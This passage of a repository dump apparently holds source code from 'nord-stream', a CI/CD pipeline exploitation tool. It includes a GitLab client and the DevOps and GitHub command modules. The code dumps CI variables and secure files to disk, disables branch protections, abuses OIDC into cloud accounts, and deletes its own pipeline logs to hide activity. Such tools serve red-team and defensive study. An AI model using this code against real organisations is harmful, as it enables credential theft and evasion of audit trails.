headers[\"PRIVATE-TOKEN\"] = token\n\n            return (\n                requests.get(\n                    f\"{gitlabURL.strip('/')}/api/v4/user\",\n                    headers=headers,\n                    cookies=cookies,\n                    verify=verifyCert,\n                ).status_code\n                == 200\n            )\n        except requests.exceptions.RequestException as e:\n            logger.error(e)\n            sys.exit(1)\n        return False\n\n    def __getLogin(self):\n        response = self.getUser()\n        return response.get(\"username\", \"\")\n\n    def getUser(self):\n        logger.debug(f\"Retrieving user information\")\n\n        return self._session.get(f\"{self._gitlabURL}/api/v4/user\").json()\n\n    def setCookiesAndHeaders(self):\n        if isGitLabSessionCookie(self._token):\n            self._session.cookies.update({\"_gitlab_session\": self._token})\n        else:\n            self._session.headers.update({\"PRIVATE-TOKEN\": self._token})\n\n        self._session.headers.update(self._headers)\n\n    def __paginatedGet(self, url, params={}):\n\n        params[\"per_page\"] = 100\n\n        res = []\n\n        i = 1\n        while True:\n\n            params[\"page\"] = i\n\n            logger.debug(f\"Paginated GET request to {url} with parameters {params}\")\n            response = self._session.get(url, params=params)\n\n            if response.status_code == 200:\n                if len(response.json()) == 0:\n                    break\n                res.extend(response.json())\n                i += 1\n\n            else:\n                logger.debug(f\"Error {response.status_code} while retrieving data: {url}\")\n                return response.status_code, response.json()\n\n        return response.status_code, res\n\n    def listRunnersFromProject(self, project):\n        id = project.get(\"id\")\n        res = []\n\n        status_code, response = self.__paginatedGet(f\"{self._gitlabURL}/api/v4/projects/{id}/jobs\")\n\n        if status_code == 200 and len(response) > 0:\n            for job in response:\n\n                if not job.get(\"runner\") or not job.get(\"runner_manager\"):\n                    continue\n\n                # Get executor from job trace\n                executor = \"unknown\"\n                response = self._session.get(f\"{self._gitlabURL}/api/v4/projects/{id}/jobs/{job['id']}/trace\")\n                if response.status_code == 200 and len(response.text) > 0:\n                    regex = r'Preparing the \"([^\"]+)\" executor'\n                    match = re.search(r'Preparing the \"([^\"]+)\" executor', response.text)\n                    if match:\n                        executor = match.group(1)\n\n                _runner = job[\"runner\"]\n                _manager = job[\"runner_manager\"]\n                res.append(\n                    {\n                        \"id\": f\"{_runner['id']}/{_manager['system_id']}\",\n                        \"status\": _manager[\"status\"],\n                        \"contacted_at\": _manager[\"contacted_at\"],\n                        \"runner_type\": _runner[\"runner_type\"],\n                        \"access_level\": \"unknown\",\n                        \"executor\": executor,\n                        \"description\": _runner[\"description\"],\n                        \"platform\": _manager[\"platform\"],\n                        \"architecture\": _manager[\"architecture\"],\n                        \"ip_address\": _manager[\"ip_address\"],\n                        \"version\": _manager[\"version\"],\n                        \"projects\": [project[\"path_with_namespace\"]],\n                        \"tags\": job[\"tag_list\"],\n                    }\n                )\n\n        elif status_code == 403:\n            raise GitLabError(response.get(\"message\"))\n\n        return res\n\n    def listVariablesFromProject(self, project):\n        id = project.get(\"id\")\n        res = []\n\n        status_code, response = self.__paginatedGet(f\"{self._gitlabURL}/api/v4/projects/{id}/variables\")\n\n        if status_code == 200 and len(response) > 0:\n\n            path = self.__createOutputDir(project.get(\"path_with_namespace\"))\n\n            f = open(f\"{path}/secrets.txt\", \"w\")\n\n            for variable in response:\n                secret = {\"key\": variable[\"key\"], \"value\": variable[\"value\"], \"protected\": variable[\"protected\"]}\n\n                if variable.get(\"hidden\") is not None:\n                    secret[\"hidden\"] = variable[\"hidden\"]\n                else:\n                    secret[\"hidden\"] = \"N/A\"\n\n                res.append(secret)\n\n                f.write(f\"{variable['key']}={variable['value']}\\n\")\n\n            f.close()\n        elif status_code == 403:\n            raise GitLabError(response.get(\"message\"))\n        return res\n\n    def listInheritedVariablesFromProject(self, project):\n        id = project.get(\"id\")\n        res = []\n\n        graphQL = {\n            \"operationName\": \"getInheritedCiVariables\",\n            \"variables\": {\"first\": 100, \"fullPath\": project.get(\"path_with_namespace\")},\n            \"query\": \"\"\"\n                query getInheritedCiVariables($after: String, $first: Int, $fullPath: ID!) {\n                    project(fullPath: $fullPath) {\n                        inheritedCiVariables(after: $after, first: $first) {\n                            nodes {\n                                key\n                                groupName\n                                masked\n                                hidden\n                                protected\n                                raw\n                            }\n                        }\n                    }\n                }\n            \"\"\",\n        }\n\n        response = self._session.post(f\"{self._gitlabURL}/api/graphql\", json=graphQL)\n\n        if response.status_code == 200 and len(response.text) > 0:\n            if response.json().get(\"data\", {}).get(\"project\", {}) is None:\n                return res\n\n            path = self.__createOutputDir(project.get(\"path_with_namespace\"))\n\n            f = open(f\"{path}/secrets.txt\", \"a\")\n\n            nodes = response.json().get(\"data\", {}).get(\"project\", {}).get(\"inheritedCiVariables\", {}).get(\"nodes\", [])\n            for variable in nodes:\n\n                secret = {\n                    \"key\": variable[\"key\"],\n                    \"value\": variable[\"raw\"],\n                    \"group\": variable[\"groupName\"],\n                    \"protected\": variable[\"protected\"],\n                }\n\n                if variable.get(\"hidden\") is not None:\n                    secret[\"hidden\"] = variable[\"hidden\"]\n                else:\n                    secret[\"hidden\"] = \"N/A\"\n\n                res.append(secret)\n\n                f.write(f\"{variable['key']}={variable['raw']}\\n\")\n\n            f.close()\n\n        elif response.status_code == 403:\n            raise GitLabError(response.get(\"message\"))\n        return res\n\n    def listSecureFilesFromProject(self, project):\n        logger.debug(\"Getting project secure files\")\n        id = project.get(\"id\")\n\n        res = []\n\n        status_code, response = self.__paginatedGet(f\"{self._gitlabURL}/api/v4/projects/{id}/secure_files\")\n        if status_code == 200 and len(response) > 0:\n\n            path = self.__createOutputDir(project.get(\"path_with_namespace\"))\n            date = time.strftime(\"%Y-%m-%d_%H-%M-%S\")\n\n            for secFile in response:\n\n                date = time.strftime(\"%Y-%m-%d_%H-%M-%S\")\n                name = \"\".join(\n                    [c for c in secFile.get(\"name\") if c.isalpha() or c.isdigit() or c in (\" \", \".\", \"-\", \"_\")]\n                ).strip()\n                fileName = f\"securefile_{date}_{name}\"\n\n                f = open(f\"{path}/{fileName}\", \"wb\")\n\n                content = self._session.get(\n                    f\"{self._gitlabURL}/api/v4/projects/{id}/secure_files/{secFile.get('id')}/download\"\n                )\n\n                # handle large files\n                for chunk in content.iter_content(chunk_size=8192):\n                    f.write(chunk)\n                f.close()\n\n                res.append({\"name\": secFile.get(\"name\"), \"path\": f\"{path}/{fileName}\"})\n\n        elif status_code == 403:\n            raise GitLabError(response.get(\"message\"))\n        return res\n\n    def listVariablesFromGroup(self, group):\n        id = group.get(\"id\")\n        res = []\n\n        status_code, response = self.__paginatedGet(f\"{self._gitlabURL}/api/v4/groups/{id}/variables\")\n\n        if status_code == 200 and len(response) > 0:\n\n            path = self.__createOutputDir(group.get(\"full_path\"))\n\n            f = open(f\"{path}/secrets.txt\", \"w\")\n\n            for variable in response:\n                secret = {\"key\": variable[\"key\"], \"value\": variable[\"value\"], \"protected\": variable[\"protected\"]}\n\n                if variable.get(\"hidden\") is not None:\n                    secret[\"hidden\"] = variable[\"hidden\"]\n                else:\n                    secret[\"hidden\"] = \"N/A\"\n\n                res.append(secret)\n\n                f.write(f\"{variable['key']}={variable['value']}\\n\")\n\n            f.close()\n        elif status_code == 403:\n            raise GitLabError(response.get(\"message\"))\n        return res\n\n    def listVariablesFromInstance(self):\n        res = []\n        status_code, response = self.__paginatedGet(f\"{self._gitlabURL}/api/v4/admin/ci/variables\")\n\n        if status_code == 200 and len(response) > 0:\n\n            path = self.__createOutputDir(\"\")\n\n            f = open(f\"{path}/secrets.txt\", \"w\")\n\n            for variable in response:\n                secret = {\"key\": variable[\"key\"], \"value\": variable[\"value\"], \"protected\": variable[\"protected\"]}\n\n                if variable.get(\"hidden\") is not None:\n                    secret[\"hidden\"] = variable[\"hidden\"]\n                else:\n                    secret[\"hidden\"] = \"N/A\"\n\n                res.append(secret)\n\n                f.write(f\"{variable['key']}={variable['value']}\\n\")\n\n            f.close()\n        elif status_code == 403:\n            raise GitLabError(response.get(\"message\"))\n        return res\n\n    def addProjects(self, project=None, filterWrite=False, strict=False, membership=False):\n        params = {}\n\n        if membership:\n            params[\"membership\"] = True\n\n        if project != None:\n            params[\"search_namespaces\"] = True\n            params[\"search\"] = project\n\n        if filterWrite:\n            params[\"min_access_level\"] = 30\n\n        if not (project and project.isnumeric()):\n            status_code, response = self.__paginatedGet(f\"{self._gitlabURL}/api/v4/projects\", params)\n        else:\n            response = self._session.get(f\"{self._gitlabURL}/api/v4/projects/{project}\")\n            status_code = response.status_code\n            response = [response.json()]\n\n        if status_code == 200:\n            if len(response) == 0:\n                return\n\n            for p in response:\n                if strict and p.get(\"path_with_namespace\") != project:\n                    continue\n                p = {\n                    \"id\": p.get(\"id\"),\n                    \"path_with_namespace\": p.get(\"path_with_namespace\"),\n                    \"name\": p.get(\"name\"),\n                    \"path\": p.get(\"path\"),\n                }\n                self._projects.append(p)\n\n        else:\n            logger.error(f\"Error while retrieving {f'project: {project}' if project is not None else 'projects'}\")\n            logger.debug(response)\n\n    def addGroups(self, group=None):\n        params = {\"all_available\": True}\n\n        if group != None:\n            params[\"search_namespaces\"] = True\n            params[\"search\"] = group\n\n        status_code, response = self.__paginatedGet(f\"{self._gitlabURL}/api/v4/groups\", params)\n\n        if status_code == 200:\n            if len(response) == 0:\n                return\n\n            for p in response:\n                p = {\n                    \"id\": p.get(\"id\"),\n                    \"full_path\": p.get(\"full_path\"),\n                    \"name\": p.get(\"name\"),\n                }\n                self._groups.append(p)\n\n        else:\n            logger.error(\"Error while retrieving groups\")\n            logger.debug(response)\n\n    def listUsers(self):\n        logger.debug(f\"Listing users.\")\n        res = []\n\n        status_code, response = self.__paginatedGet(f\"{self._gitlabURL}/api/v4/users\")\n\n        if status_code == 200:\n            if len(response) == 0:\n                return\n\n            for p in response:\n                u = {\n                    \"id\": p.get(\"id\"),\n                    \"username\": p.get(\"username\"),\n                    \"email\": p.get(\"email\"),\n                    \"is_admin\": p.get(\"is_admin\"),\n                }\n                res.append(u)\n\n        else:\n            logger.error(\"Error while retrieving users\")\n            logger.debug(response)\n        return res\n\n    def __createOutputDir(self, name):\n        # outputName = name.replace(\"/\", \"_\")\n        path = f\"{self._outputDir}/{name}\"\n        makedirs(path, exist_ok=True)\n        return path\n\n    def waitPipeline(self, projectId):\n        logger.info(\"Getting pipeline output\")\n\n        time.sleep(5)\n\n        response = self._session.get(\n            f\"{self._gitlabURL}/api/v4/projects/{projectId}/pipelines?ref={self._branchName}&username={self._gitlabLogin}\"\n        ).json()\n\n        if response[0].get(\"status\") not in COMPLETED_STATES:\n            for i in range(self._maxRetry):\n                logger.warning(f\"Pipeline still running, sleeping for {self._sleepTime}s\")\n                time.sleep(self._sleepTime)\n\n                response = self._session.get(\n                    f\"{self._gitlabURL}/api/v4/projects/{projectId}/pipelines?ref={self._branchName}&username={self._gitlabLogin}\"\n                ).json()\n\n                if response[0].get(\"status\") in COMPLETED_STATES:\n                    break\n                if i == (self._maxRetry - 1):\n                    logger.error(\"Error: pipeline still not finished.\")\n\n        return (\n            response[0].get(\"id\"),\n            response[0].get(\"status\"),\n        )\n\n    def __getJobs(self, projectId, pipelineId):\n\n        status_code, response = self.__paginatedGet(\n            f\"{self._gitlabURL}/api/v4/projects/{projectId}/pipelines/{pipelineId}/jobs\"\n        )\n\n        if status_code == 403:\n            raise GitLabError(response.get(\"message\"))\n\n        # reverse the list to get the first job at the first position\n        return response[::-1]\n\n    def downloadPipelineOutput(self, project, pipelineId):\n        projectPath = project.get(\"path_with_namespace\")\n        self.__createOutputDir(projectPath)\n\n        projectId = project.get(\"id\")\n\n        jobs = self.__getJobs(projectId, pipelineId)\n\n        date = time.strftime(\"%Y-%m-%d_%H-%M-%S\")\n        f = open(f\"{self._outputDir}/{projectPath}/pipeline_{date}.log\", \"w\")\n\n        if len(jobs) == 0:\n            return None\n\n        for job in jobs:\n\n            jobId = job.get(\"id\")\n            jobName = job.get(\"name\", \"\")\n            jobStage = job.get(\"stage\", \"\")\n            jobStatus = job.get(\"status\", \"\")\n\n            output = self.__getTraceForJobId(projectId, jobId)\n\n            if jobStatus != \"skipped\":\n                f.write(f\"[+] {jobName} (stage={jobStage})\\n\")\n                f.write(output)\n\n        f.close()\n\n        return f\"pipeline_{date}.log\"\n\n    def __getTraceForJobId(self, projectId, jobId):\n\n        response = self._session.get(f\"{self._gitlabURL}/api/v4/projects/{projectId}/jobs/{jobId}/trace\")\n\n        if response.status_code != 200:\n            for i in range(self._maxRetry):\n                logger.warning(f\"Output not ready, sleeping for {self._sleepTime}s\")\n                time.sleep(self._sleepTime)\n                response = self._session.get(f\"{self._gitlabURL}/api/v4/projects/{projectId}/jobs/{jobId}/trace\")\n                if response.status_code == 200:\n                    break\n                if i == (self._maxRetry - 1):\n                    logger.error(\"Output still no ready, error !\")\n                    return None\n\n        return response.text\n\n    def __deletePipeline(self, projectId):\n        logger.debug(\"Deleting pipeline\")\n\n        status_code, response = self.__paginatedGet(\n            f\"{self._gitlabURL}/api/v4/projects/{projectId}/pipelines?ref={self._branchName}&username={self._gitlabLogin}\"\n        )\n\n        headers = {}\n\n        # Get CSRF token when using session cookie otherwise we can't delete a pipeline\n        if isGitLabSessionCookie(self._token):\n\n            html_content = self._session.get(f\"{self._gitlabURL}/\").text\n            pattern = r'<meta name=\"csrf-token\" content=\"([^\"]+)\"'\n            match = re.search(pattern, html_content)\n            csrf_token = match.group(1)\n\n            headers[\"x-csrf-token\"] = csrf_token\n\n        for pipeline in response:\n\n            # additional checks for non default branches\n            # we don't want to remove legitimate logs\n            if self._branchName != self._DEFAULT_BRANCH_NAME:\n                commitId = pipeline.get(\"sha\")\n\n                response = self._session.get(\n                    f\"{self._gitlabURL}/api/v4/projects/{projectId}/repository/commits/{commitId}\"\n                ).json()\n\n                if response.get(\"title\") not in [Git.ATTACK_COMMIT_MSG, Git.CLEAN_COMMIT_MSG]:\n                    continue\n\n                if response.get(\"author_name\") != Git.USER:\n                    continue\n\n            pipelineId = pipeline.get(\"id\")\n            graphQL = {\n                \"operationName\": \"deletePipeline\",\n                \"variables\": {\"id\": f\"gid://gitlab/Ci::Pipeline/{pipelineId}\"},\n                \"query\": \"mutation deletePipeline($id: CiPipelineID!) {\\n  pipelineDestroy(input: {id: $id}) {\\n    errors\\n    __typename\\n  }\\n}\\n\",\n            }\n\n            response = self._session.post(f\"{self._gitlabURL}/api/graphql\", json=graphQL, headers=headers)\n\n    def cleanAllLogs(self, projectId):\n        # deleting the pipeline removes everything\n        self.__deletePipeline(projectId)\n\n    # not working\n    def __cleanEvents(self, projectId):\n        logger.debug(f\"Deleting events for project: {projectId}\")\n\n        i = 1\n        while True:\n\n            params = {\"per_page\": 100, \"page\": i}\n\n            response = self._session.get(f\"{self._gitlabURL}/api/v4/projects/{projectId}/events\", params=params)\n\n            if response.status_code == 200:\n                if len(response.json()) == 0:\n                    break\n\n                for event in response.json():\n                    eventId = event.get(\"id\")\n                    # don't work\n                    response = self._session.delete(f\"{self._gitlabURL}/api/v4/projects/{projectId}/events/{eventId}\")\n\n                i += 1\n            else:\n                logger.error(\"Error while retrieving event\")\n                logger.debug(response.json())\n\n    def getBranchesProtectionRules(self, projectId):\n        logger.debug(\"Getting branch protection rules\")\n\n        status_code, response = self.__paginatedGet(f\"{self._gitlabURL}/api/v4/projects/{projectId}/protected_branches\")\n\n        if status_code == 403:\n            raise GitLabError(response.get(\"message\"))\n\n        return response\n\n    def getBranches(self, projectId):\n        logger.debug(\"Getting branch protection rules (limited)\")\n\n        status_code, response = self.__paginatedGet(\n            f\"{self._gitlabURL}/api/v4/projects/{projectId}/repository/branches\"\n        )\n\n        if status_code == 403:\n            raise GitLabError(response.get(\"message\"))\n\n        # sometimes GitLab return a 404 and not an empty array\n        if status_code == 404:\n            project = self.getProject(projectId)\n\n            # if the repo is empty raise an error since there is no branch\n            if project.get(\"empty_repo\"):\n                raise GitLabError(\"The project is empty and has no branches.\")\n            else:\n                raise GitLabError(\"Got 404 for unknown reason.\")\n\n        return response\n\n    def getProject(self, projectId):\n        logger.debug(\"Getting project: {projectId}\")\n\n        response = self._session.get(f\"{self._gitlabURL}/api/v4/projects/{projectId}\")\n\n        if response.status_code != 200:\n            raise GitLabError(response.json().get(\"message\"))\n        else:\n            return response.json()\n\n    def getFailureReasonPipeline(self, projectId, pipelineId):\n\n        response = self._session.get(f\"{self._gitlabURL}/api/v4/projects/{projectId}/pipelines/{pipelineId}\").json()\n\n        return response.get(\"yaml_errors\", None)\n\n    def getFailureReasonJobs(self, projectId, pipelineId):\n\n        res = []\n        jobs = self.__getJobs(projectId, pipelineId)\n\n        for job in jobs:\n\n            failure = {}\n            failure[\"name\"] = job.get(\"name\", \"\")\n            failure[\"stage\"] = job.get(\"stage\", \"\")\n            failure[\"failure_reason\"] = job.get(\"failure_reason\", \"\")\n\n            if failure[\"failure_reason\"] != \"\":\n                res.append(failure)\n\n        return res\n"
  },
  {
    "path": "nordstream/commands/devops.py",
    "content": "\"\"\"\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream devops [options] --token <pat> --org <org> [extraction] [--project <project> --write-filter --no-clean --branch-name <name> --pipeline-name <name> --pipeline-file <filename> --repo-name <name> --pool-name <name> --os <os> --default-agent <name> --sleep <int>]\n    nord-stream devops [options] --token <pat> --org <org> --yaml <yaml> --project <project> [--write-filter --no-clean --branch-name <name> --pipeline-name <name> --pipeline-file <filename> --repo-name <name> --sleep <int>]\n    nord-stream devops [options] --token <pat> --org <org> --build-yaml <output> [--build-type <type>] [--pool-name <name>] [--os linux|windows]\n    nord-stream devops [options] --token <pat> --org <org> --clean-logs [--project <project>]\n    nord-stream devops [options] --token <pat> --org <org> --list-projects [--write-filter]\n    nord-stream devops [options] --token <pat> --org <org> --list-repositories [--project <project>]\n    nord-stream devops [options] --token <pat> --org <org> (--list-secrets [--project <project> --write-filter] | --list-users)\n    nord-stream devops [options] --token <pat> --org <org> --describe-token\n    nord-stream devops [options] --token <pat> --list-orgs\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n    -v, --verbose                           Verbose mode\n    -d, --debug                             Debug mode\n    --output-dir <dir>                      Output directory for logs\n    --ignore-cert                           Allow insecure server connections\n\nCommit:\n    --user <user>                           User used to commit\n    --email <email>                         Email address used commit\n    --key-id <id>                           GPG primary key ID to sign commits\n\nargs:\n    --token <pat>                           Azure DevOps personal token or JWT\n    --org <org>                             Org name\n    -p, --project <project>                 Run on selected project (can be a file)\n    -y, --yaml <yaml>                       Run arbitrary job\n    --clean-logs                            Delete all pipeline created by this tool. This operation is done by default but can be manually triggered.\n    --no-clean                              Don't clean pipeline logs (default false)\n    --list-projects                         List all projects.\n    --list-repositories                     List all repositories.\n    --list-secrets                          List all secrets.\n    --list-users                            List all users.\n    --write-filter                          Filter projects where current user has write or admin access.\n    --build-yaml <output>                   Create a pipeline yaml file with default configuration.\n    --build-type <type>                     Type used to generate the yaml file can be: default, azurerm, github, aws, sonar, ssh\n    --describe-token                        Display information on the token\n    --branch-name <name>                    Use specific branch name for deployment.\n    --pipeline-name <name>                  Use pipeline for deployment.\n    --pipeline-file <filename>              Pipeline filename (default: azure-pipelines.yml).\n    --repo-name <name>                      Use specific repo for deployment.\n    --pool-name <name>                      Use specific pool name for deployment. This value will be set as pool name in the YAML file\n    --default-agent <name>                  Use specific default agent pool for deployment. This value will be used as Default agent pool for the pipeline\n    --os [linux | windows]                  The agent's OS where the pipeline will be run. Default to linux\n    --sleep <int>                           Sleep this amount of time before retrieving pipeline result (15s by default)\n\nExctraction:\n    --extract <list>                        Extract following secrets [vg,sf,gh,az,aws,sonar,ssh]\n    --no-extract <list>                     Don't extract following secrets [vg,sf,gh,az,aws,sonar,ssh]\n\nExamples:\n    List all secrets from all projects\n    $ nord-stream devops --token \"$PAT\" --org myorg --list-secrets\n\n    Dump all secrets from all projects\n    $ nord-stream devops --token \"$PAT\" --org myorg\n\nAuthors: @hugow @0hexit\n\"\"\"\n\nfrom docopt import docopt\n\nfrom nordstream.cicd.devops import DevOps\nfrom nordstream.core.devops.devops import DevOpsRunner\nfrom nordstream.git import Git\nfrom nordstream.utils.log import NordStreamLog, logger\nfrom nordstream.utils.devops import listOrgs\n\n\ndef start(argv):\n    args = docopt(__doc__, argv=argv)\n\n    if args[\"--verbose\"]:\n        NordStreamLog.setVerbosity(verbose=1)\n\n    if args[\"--debug\"]:\n        NordStreamLog.setVerbosity(verbose=2)\n\n    logger.debug(args)\n\n    if args[\"--list-orgs\"]:\n        listOrgs(args[\"--token\"])\n        return\n\n    # check validity of the token\n    if not DevOps.checkToken(args[\"--token\"], args[\"--org\"], (not args[\"--ignore-cert\"])):\n        logger.critical(\"Invalid token or org.\")\n\n    # devops setup\n    devops = DevOps(args[\"--token\"], args[\"--org\"], (not args[\"--ignore-cert\"]))\n    if args[\"--output-dir\"]:\n        devops.outputDir = args[\"--output-dir\"] + \"/\"\n    if args[\"--branch-name\"]:\n        devops.branchName = args[\"--branch-name\"]\n    if args[\"--pipeline-name\"]:\n        devops.pipelineName = args[\"--pipeline-name\"]\n    if args[\"--repo-name\"]:\n        devops.repoName = args[\"--repo-name\"]\n    if args[\"--default-agent\"]:\n        devops.defaultAgentPool = args[\"--default-agent\"]\n    if args[\"--sleep\"]:\n        devops.sleepTime = args[\"--sleep\"]\n\n    devopsRunner = DevOpsRunner(devops)\n\n    if args[\"--key-id\"]:\n        Git.KEY_ID = args[\"--key-id\"]\n    if args[\"--user\"]:\n        Git.USER = args[\"--user\"]\n    if args[\"--email\"]:\n        Git.EMAIL = args[\"--email\"]\n    if args[\"--pipeline-file\"]:\n        devopsRunner.pipelineFilename = args[\"--pipeline-file\"]\n    if args[\"--yaml\"]:\n        devopsRunner.yaml = args[\"--yaml\"]\n    if args[\"--write-filter\"]:\n        devopsRunner.writeAccessFilter = args[\"--write-filter\"]\n    if args[\"--pool-name\"]:\n        devopsRunner.poolName = args[\"--pool-name\"]\n    if args[\"--os\"]:\n        devopsRunner.os = args[\"--os\"].lower()\n\n    if args[\"--extract\"] and args[\"--no-extract\"]:\n        logger.critical(\"Can't use both --service-connection and --no-service-connection option.\")\n\n    if args[\"--extract\"]:\n        devopsRunner.parseExtractList(args[\"--extract\"])\n\n    if args[\"--no-extract\"]:\n        devopsRunner.parseExtractList(args[\"--no-extract\"], False)\n\n    if args[\"--no-clean\"]:\n        devopsRunner.cleanLogs = not args[\"--no-clean\"]\n\n    if args[\"--describe-token\"]:\n        devopsRunner.describeToken()\n        return\n\n    devopsRunner.getProjects(args[\"--project\"])\n\n    # logic\n    if args[\"--list-projects\"]:\n        devopsRunner.listDevOpsProjects()\n\n    elif args[\"--list-repositories\"]:\n        devopsRunner.listDevOpsRepositories()\n\n    elif args[\"--list-users\"]:\n        devopsRunner.listDevOpsUsers()\n\n    elif args[\"--list-secrets\"]:\n        devopsRunner.listProjectSecrets()\n\n    elif args[\"--clean-logs\"]:\n        devopsRunner.manualCleanLogs()\n\n    elif args[\"--build-yaml\"]:\n        devopsRunner.output = args[\"--build-yaml\"]\n        devopsRunner.createYaml(args[\"--build-type\"])\n\n    else:\n        devopsRunner.runPipeline()\n"
  },
  {
    "path": "nordstream/commands/github.py",
    "content": "\"\"\"\nCICD pipeline exploitation tool\n\nUsage:\n    nord-stream github [options] --token <ghp> --org <org> [--repo <repo> --no-repo --no-env --no-org --env <env> --disable-protections --branch-name <name> --no-clean]\n    nord-stream github [options] --token <ghp> --org <org> --yaml <yaml> --repo <repo> [--env <env> --disable-protections --branch-name <name> --no-clean]\n    nord-stream github [options] --token <ghp> --org <org> ([--clean-logs] [--clean-branch-policy]) [--repo <repo> --branch-name <name>]\n    nord-stream github [options] --token <ghp> --org <org> --build-yaml <filename> --repo <repo> [--build-type <type> --env <env>]\n    nord-stream github [options] --token <ghp> --org <org> --azure-tenant-id <tenant> --azure-client-id <client> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]\n    nord-stream github [options] --token <ghp> --org <org> --aws-role <role> --aws-region <region> [--repo <repo> --env <env> --disable-protections --branch-name <name> --no-clean]\n    nord-stream github [options] --token <ghp> --org <org> --list-protections [--repo <repo> --branch-name <name> --disable-protections]\n    nord-stream github [options] --token <ghp> --org <org> --list-secrets [--repo <repo> --no-repo --no-env --no-org]\n    nord-stream github [options] --token <ghp> [--org <org>] --list-repos [--write-filter]\n    nord-stream github [options] --token <ghp> --describe-token\n\nOptions:\n    -h --help                               Show this screen.\n    --version                               Show version.\n    -v, --verbose                           Verbose mode\n    -d, --debug                             Debug mode\n    --output-dir <dir>                      Output directory for logs\n\nCommit:\n    --user <user>                           User used to commit\n    --email <email>                         Email address used commit\n    --key-id <id>                           GPG primary key ID to sign commits\n\nargs:\n    --token <ghp>                           Github personal token\n    --org <org>                             Org name\n    -r, --repo <repo>                       Run on selected repo (can be a file)\n    -y, --yaml <yaml>                       Run arbitrary job\n    --clean-logs                            Delete all logs created by this tool. This operation is done by default but can be manually triggered.\n    --no-clean                              Don't clean workflow logs (default false)\n    --clean-branch-policy                   Remove branch policy, can be used with --repo. This operation is done by default but can be manually triggered.\n    --build-yaml <filename>                 Create a pipeline yaml file with all secrets.\n    --build-type <type>                     Type used to generate the yaml file can be: default, azureoidc, awsoidc\n    --env <env>                             Specify env for the yaml file creation.\n    --no-repo                               Don't extract repo secrets.\n    --no-env                                Don't extract environnments secrets.\n    --no-org                                Don't extract organization secrets.\n    --azure-tenant-id <tenant>              Identifier of the Azure tenant associated with the application having federated credentials (OIDC related).\n    --azure-subscription-id <subscription>  Identifier of the Azure subscription associated with the application having federated credentials (OIDC related).\n    --azure-client-id <client>              Identifier of the Azure application (client) associated with the application having federated credentials (OIDC related).\n    --aws-role <role>                       AWS role to assume (OIDC related).\n    --aws-region <region>                   AWS region (OIDC related).\n    --list-protections                      List all protections.\n    --list-repos                            List all repos.\n    --list-secrets                          List all secrets.\n    --disable-protections                   Disable the branch protection rules (needs admin rights)\n    --write-filter                          Filter repo where current user has write or admin access.\n    --force                                 Don't check environment and branch protections.\n    --branch-name <name>                    Use specific branch name for deployment.\n    --describe-token                        Display information on the token\n\nExamples:\n    List all secrets from all repositories\n    $ nord-stream github --token \"$GHP\" --org myorg --list-secrets\n\n    Dump all secrets from all repositories and try to disable branch protections\n    $ nord-stream github --token \"$GHP\" --org myorg --disable-protections\n\nAuthors: @hugow @0hexit\n\"\"\"\n\nfrom docopt import docopt\nfrom nordstream.cicd.github import GitHub\nfrom nordstream.core.github.github import GitHubWorkflowRunner\nfrom nordstream.utils.log import logger, NordStreamLog\nfrom nordstream.git import Git\n\n\ndef start(argv):\n    args = docopt(__doc__, argv=argv)\n\n    if args[\"--verbose\"]:\n        NordStreamLog.setVerbosity(verbose=1)\n    if args[\"--debug\"]:\n        NordStreamLog.setVerbosity(verbose=2)\n\n    logger.debug(args)\n\n    # check validity of the token\n    if not GitHub.checkToken(args[\"--token\"]):\n        logger.critical(\"Invalid token.\")\n\n    # github setup\n    gitHub = GitHub(args[\"--token\"])\n    if args[\"--output-dir\"]:\n        gitHub.outputDir = args[\"--output-dir\"] + \"/\"\n    if args[\"--org\"]:\n        gitHub.org = args[\"--org\"]\n    if args[\"--branch-name\"]:\n        gitHub.branchName = args[\"--branch-name\"]\n        logger.info(f'Using branch: \"{gitHub.branchName}\"')\n\n    if args[\"--key-id\"]:\n        Git.KEY_ID = args[\"--key-id\"]\n    if args[\"--user\"]:\n        Git.USER = args[\"--user\"]\n    if args[\"--email\"]:\n        Git.EMAIL = args[\"--email\"]\n\n    # runner setup\n    gitHubWorkflowRunner = GitHubWorkflowRunner(gitHub, args[\"--env\"])\n\n    if args[\"--no-repo\"]:\n        gitHubWorkflowRunner.extractRepo = not args[\"--no-repo\"]\n    if args[\"--no-env\"]:\n        gitHubWorkflowRunner.extractEnv = not args[\"--no-env\"]\n    if args[\"--no-org\"]:\n        gitHubWorkflowRunner.extractOrg = not args[\"--no-org\"]\n    if args[\"--yaml\"]:\n        gitHubWorkflowRunner.yaml = args[\"--yaml\"]\n    if args[\"--disable-protections\"]:\n        gitHubWorkflowRunner.disableProtections = args[\"--disable-protections\"]\n    if args[\"--write-filter\"]:\n        gitHubWorkflowRunner.writeAccessFilter = args[\"--write-filter\"]\n    if args[\"--force\"]:\n        gitHubWorkflowRunner.forceDeploy = args[\"--force\"]\n    if args[\"--aws-role\"] or args[\"--azure-tenant-id\"]:\n        gitHubWorkflowRunner.exploitOIDC = True\n    if args[\"--azure-tenant-id\"]:\n        gitHubWorkflowRunner.tenantId = args[\"--azure-tenant-id\"]\n    if args[\"--azure-subscription-id\"]:\n        gitHubWorkflowRunner.subscriptionId = args[\"--azure-subscription-id\"]\n    if args[\"--azure-client-id\"]:\n        gitHubWorkflowRunner.clientId = args[\"--azure-client-id\"]\n    if args[\"--aws-role\"]:\n        gitHubWorkflowRunner.role = args[\"--aws-role\"]\n    if args[\"--aws-region\"]:\n        gitHubWorkflowRunner.region = args[\"--aws-region\"]\n    if args[\"--no-clean\"]:\n        gitHubWorkflowRunner.cleanLogs = not args[\"--no-clean\"]\n\n    # logic\n    if args[\"--describe-token\"]:\n        gitHubWorkflowRunner.describeToken()\n\n    elif args[\"--list-repos\"]:\n        gitHubWorkflowRunner.getRepos(args[\"--repo\"])\n        gitHubWorkflowRunner.listGitHubRepos()\n\n    elif args[\"--list-secrets\"]:\n        gitHubWorkflowRunner.getRepos(args[\"--repo\"])\n        gitHubWorkflowRunner.listGitHubSecrets()\n\n    elif args[\"--build-yaml\"]:\n        gitHubWorkflowRunner.writeAccessFilter = True\n        gitHubWorkflowRunner.workflowFilename = args[\"--build-yaml\"]\n        gitHubWorkflowRunner.createYaml(args[\"--repo\"], args[\"--build-type\"])\n\n    # Cleaning\n    elif args[\"--clean-logs\"] or args[\"--clean-branch-policy\"]:\n        gitHubWorkflowRunner.getRepos(args[\"--repo\"])\n        if 